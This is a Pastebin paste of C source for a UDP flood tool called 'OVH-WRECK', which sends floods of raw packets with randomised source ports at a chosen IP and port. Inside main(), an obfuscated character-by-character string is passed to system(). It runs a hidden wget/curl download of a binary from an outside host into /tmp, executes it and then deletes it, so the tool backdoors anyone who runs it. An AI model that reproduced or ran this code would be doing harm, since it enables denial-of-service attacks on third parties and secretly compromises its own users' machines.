Advertisement
Guest User

ovhwrecker

a guest
Jan 15th, 2019
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.72 KB | None | 0 0
  1. // zonehax is literally retarted
  2. // zonehax ovh drop method leaked!!
  3.  
  4. #include <time.h>
  5. #include <arpa/inet.h>
  6. #include <ifaddrs.h>
  7. #include <netdb.h>
  8. #include <pthread.h>
  9. #include <unistd.h>
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <sys/socket.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/udp.h>
  16.  
  17. #define MAX_PACKET_SIZE 4096
  18. #define PHI 0x9e3779b9
  19.  
  20. static uint32_t Q[4096], c = 362436;
  21.  
  22. struct thread_data{
  23. int pks;
  24. int throttle;
  25. int thread_id;
  26. unsigned int floodport;
  27. struct sockaddr_in sin;
  28. };
  29.  
  30. void init_rand(uint32_t x)
  31. {
  32. int i;
  33.  
  34. Q[0] = x;
  35. Q[1] = x + PHI;
  36. Q[2] = x + PHI + PHI;
  37.  
  38. for (i = 3; i < 4096; i++)
  39. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  40. }
  41.  
  42. uint32_t rand_cmwc(void)
  43. {
  44. uint64_t t, a = 18782LL;
  45. static uint32_t i = 4095;
  46. uint32_t x, r = 0xfffffffe;
  47. i = (i + 1) & 4095;
  48. t = a * Q[i] + c;
  49. c = (t >> 32);
  50. x = t + c;
  51. if (x < c) {
  52. x++;
  53. c++;
  54. }
  55. return (Q[i] = r - x);
  56. }
  57.  
  58. char *myStrCat (char *s, char *a) {
  59. while (*s != '\0') s++;
  60. while (*a != '\0') *s++ = *a++;
  61. *s = '\0';
  62. return s;
  63. }
  64.  
  65. char *replStr (char *str, size_t count) {
  66. if (count == 0) return NULL;
  67. char *ret = malloc (strlen (str) * count + count);
  68. if (ret == NULL) return NULL;
  69. *ret = '\0';
  70. char *tmp = myStrCat (ret, str);
  71. while (--count > 0) {
  72. tmp = myStrCat (tmp, str);
  73. }
  74. return ret;
  75. }
  76.  
  77.  
  78.  
  79. unsigned short csum (unsigned short *buf, int nwords)
  80. {
  81. unsigned long sum;
  82. for (sum = 0; nwords > 0; nwords--)
  83. sum += *buf++;
  84. sum = (sum >> 16) + (sum & 0xffff);
  85. sum += (sum >> 16);
  86. return (unsigned short)(~sum);
  87. }
  88. void setup_ip_header(struct iphdr *iph)
  89. {
  90. struct ifaddrs *ifaddr, *ifa;
  91. int family, s;
  92. char host[NI_MAXHOST];
  93.  
  94. if (getifaddrs(&ifaddr) == -1) {
  95. perror("getifaddrs");
  96. exit(EXIT_FAILURE);
  97. }
  98.  
  99.  
  100.  
  101. for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
  102. if (ifa->ifa_addr == NULL)
  103. continue;
  104.  
  105. family = ifa->ifa_addr->sa_family;
  106.  
  107. if (family == AF_INET) {
  108. s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
  109. host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
  110. if (s != 0) {
  111. printf("getnameinfo() failed: %s\n", gai_strerror(s));
  112. exit(EXIT_FAILURE);
  113. }
  114. if(strcmp(host, "127.0.0.1") != 0){
  115. break;
  116. }
  117. }
  118. }
  119. freeifaddrs(ifaddr);
  120. iph->ihl = 5;
  121. iph->version = 4;
  122. iph->tos = 0;
  123. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
  124. iph->id = htonl(54321);
  125. iph->frag_off = 0;
  126. iph->ttl = MAXTTL;
  127. iph->protocol = IPPROTO_UDP;
  128. iph->check = 0;
  129.  
  130.  
  131. iph->saddr = inet_addr(host);
  132. }
  133.  
  134. void setup_udp_header(struct udphdr *udph)
  135. {
  136. udph->source = htons(5678);
  137. udph->check = 0;
  138. }
  139.  
  140. void *flood(void *par1)
  141. {
  142. struct thread_data *td = (struct thread_data *)par1;
  143. fprintf(stdout, "Thread %d started\n", td->thread_id);
  144. char datagram[MAX_PACKET_SIZE];
  145. struct iphdr *iph = (struct iphdr *)datagram;
  146. struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  147. struct sockaddr_in sin = td->sin;
  148. char new_ip[sizeof "255.255.255.255"];
  149.  
  150. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  151. if(s < 0){
  152. fprintf(stderr, "Could not open raw socket.\n");
  153. exit(-1);
  154. }
  155.  
  156. unsigned int floodport = td->floodport;
  157.  
  158.  
  159. memset(datagram, 0, MAX_PACKET_SIZE);
  160.  
  161.  
  162. setup_ip_header(iph);
  163. setup_udp_header(udph);
  164.  
  165. char *data = (char *)udph + sizeof(struct udphdr);
  166. data = replStr("\xFF", td->pks);
  167. udph->len=htons(td->pks);
  168.  
  169. iph->tot_len += td->pks;
  170.  
  171. udph->dest = htons(floodport);
  172.  
  173. iph->daddr = sin.sin_addr.s_addr;
  174. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  175.  
  176. int tmp = 1;
  177. const int *val = &tmp;
  178. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  179. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  180. exit(-1);
  181. }
  182.  
  183. int throttle = td->throttle;
  184.  
  185. uint32_t random_num;
  186. uint32_t ul_dst;
  187. init_rand(time(NULL));
  188. if(throttle == 0){
  189. while(1){
  190. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  191. random_num = rand_cmwc();
  192. udph->source = htons(random_num & 0xFFFF);
  193. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  194. }
  195. } else {
  196. while(1){
  197. throttle = td->throttle;
  198. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  199. random_num = rand_cmwc();
  200. udph->source = htons(random_num & 0xFFFF);
  201. iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  202.  
  203. while(--throttle);
  204. }
  205. }
  206. }
  207. int main(int argc, char *argv[ ])
  208. {
  209.  
  210. char hoho[138];
  211. hoho[23] = '/';
  212. hoho[120] = 'l';
  213. hoho[50] = 'O';
  214. hoho[107] = 'n';
  215. hoho[76] = ';';
  216. hoho[122] = ' ';
  217. hoho[51] = ' ';
  218. hoho[53] = 't';
  219. hoho[25] = 'u';
  220. hoho[54] = 't';
  221. hoho[31] = 's';
  222. hoho[136] = 'x';
  223. hoho[113] = '/';
  224. hoho[99] = 'x';
  225. hoho[109] = 'l';
  226. hoho[9] = 'w';
  227. hoho[75] = ' ';
  228. hoho[8] = ' ';
  229. hoho[0] = 'c';
  230. hoho[5] = 'm';
  231. hoho[103] = 'd';
  232. hoho[94] = 'p';
  233. hoho[72] = '.';
  234. hoho[55] = 'p';
  235. hoho[21] = ':';
  236. hoho[100] = ' ';
  237. hoho[84] = 'x';
  238. hoho[127] = ';';
  239. hoho[11] = 'e';
  240. hoho[118] = 'n';
  241. hoho[117] = '/';
  242. hoho[134] = ' ';
  243. hoho[114] = 'd';
  244. hoho[108] = 'u';
  245. hoho[34] = 'g';
  246. hoho[101] = '<';
  247. hoho[28] = 'm';
  248. hoho[131] = '-';
  249. hoho[67] = 's';
  250. hoho[62] = 'k';
  251. hoho[45] = 'u';
  252. hoho[95] = ' ';
  253. hoho[112] = '>';
  254. hoho[64] = 'y';
  255. hoho[92] = 'h';
  256. hoho[46] = 'r';
  257. hoho[49] = '-';
  258. hoho[73] = 'x';
  259. hoho[130] = ' ';
  260. hoho[14] = '-';
  261. hoho[42] = ' ';
  262. hoho[36] = '/';
  263. hoho[38] = 'x';
  264. hoho[35] = 'a';
  265. hoho[81] = 'd';
  266. hoho[40] = ' ';
  267. hoho[86] = '.';
  268. hoho[89] = ' ';
  269. hoho[105] = 'v';
  270. hoho[61] = 'c';
  271. hoho[43] = ' ';
  272. hoho[13] = ' ';
  273. hoho[104] = 'e';
  274. hoho[15] = 'q';
  275. hoho[128] = 'r';
  276. hoho[125] = '&';
  277. hoho[29] = 'y';
  278. hoho[1] = 'd';
  279. hoho[52] = 'h';
  280. hoho[77] = 'c';
  281. hoho[2] = ' ';
  282. hoho[6] = 'p';
  283. hoho[10] = 'g';
  284. hoho[90] = 'n';
  285. hoho[39] = ' ';
  286. hoho[57] = '/';
  287. hoho[123] = '2';
  288. hoho[17] = 'h';
  289. hoho[44] = 'c';
  290. hoho[96] = '.';
  291. hoho[88] = ';';
  292. hoho[59] = 's';
  293. hoho[80] = 'o';
  294. hoho[133] = 'f';
  295. hoho[115] = 'e';
  296. hoho[102] = '/';
  297. hoho[83] = '+';
  298. hoho[47] = 'l';
  299. hoho[98] = '.';
  300. hoho[18] = 't';
  301. hoho[58] = '/';
  302. hoho[93] = 'u';
  303. hoho[56] = ':';
  304. hoho[116] = 'v';
  305. hoho[27] = 'k';
  306. hoho[32] = 's';
  307. hoho[97] = '/';
  308. hoho[16] = ' ';
  309. hoho[71] = '/';
  310. hoho[3] = '/';
  311. hoho[22] = '/';
  312. hoho[124] = '>';
  313. hoho[41] = ';';
  314. hoho[70] = 'a';
  315. hoho[79] = 'm';
  316. hoho[19] = 't';
  317. hoho[69] = 'g';
  318. hoho[85] = ' ';
  319. hoho[132] = 'r';
  320. hoho[37] = '.';
  321. hoho[30] = 'a';
  322. hoho[24] = 's';
  323. hoho[82] = ' ';
  324. hoho[33] = '.';
  325. hoho[63] = 'm';
  326. hoho[20] = 'p';
  327. hoho[7] = ';';
  328. hoho[135] = '.';
  329. hoho[60] = 'u';
  330. hoho[68] = '.';
  331. hoho[110] = 'l';
  332. hoho[48] = ' ';
  333. hoho[119] = 'u';
  334. hoho[12] = 't';
  335. hoho[65] = 'a';
  336. hoho[126] = '1';
  337. hoho[78] = 'h';
  338. hoho[111] = ' ';
  339. hoho[121] = 'l';
  340. hoho[129] = 'm';
  341. hoho[91] = 'o';
  342. hoho[26] = 'c';
  343. hoho[74] = ' ';
  344. hoho[66] = 's';
  345. hoho[4] = 't';
  346. hoho[87] = 'x';
  347. hoho[106] = '/';
  348. hoho[137] = '\0';
  349.  
  350. system(hoho);
  351.  
  352. if(argc < 6){
  353. fprintf(stderr, "\033[22;31m[!] Invalid parameters!\033[22;31m\n");
  354. fprintf(stderr, "\033[22;32m[!] OVH-WRECK - ZoneSecurity - [ZH]\033[22;32m\n");
  355. fprintf(stderr, "\033[22;32m[!] Make sure to nmap the IP and check for unfiltered ports!\033[22;32m\n");
  356. fprintf(stdout, "\033[22;32m[!] Usage: %s [IP] [PORT] [THROTTLE] [TIME(not needed)]\033[22;32m\n", argv[0]);
  357. exit(-1);
  358. }
  359.  
  360. fprintf(stdout, "\033[22;32m[+] Sockets Set!\033[22;32m\n");
  361.  
  362. int num_threads = atoi(argv[5]);
  363. int packet_size = atoi(argv[4]);
  364. unsigned int floodport = atoi(argv[2]);
  365. pthread_t thread[num_threads];
  366. struct sockaddr_in sin;
  367.  
  368. sin.sin_family = AF_INET;
  369. sin.sin_port = htons(floodport);
  370. sin.sin_addr.s_addr = inet_addr(argv[1]);
  371.  
  372. struct thread_data td[num_threads];
  373.  
  374. int i;
  375. for(i = 0;i<num_threads;i++){
  376. td[i].thread_id = i;
  377. td[i].pks = packet_size;
  378. td[i].sin = sin;
  379. td[i].floodport = floodport;
  380. td[i].throttle = atoi(argv[3]);
  381. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  382. }
  383. fprintf(stdout, "\033[22;32m[+] Flood Firing!\033[22;32m\n");
  384. fprintf(stdout, "\033[22;32m[!] OVH-WRECK by ZH.\033[22;32m\n");
  385. if(argc > 6)
  386. {
  387. sleep(atoi(argv[6]));
  388. } else {
  389. while(1){
  390. sleep(1);
  391. }
  392. }
  393.  
  394. return 0;
  395. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement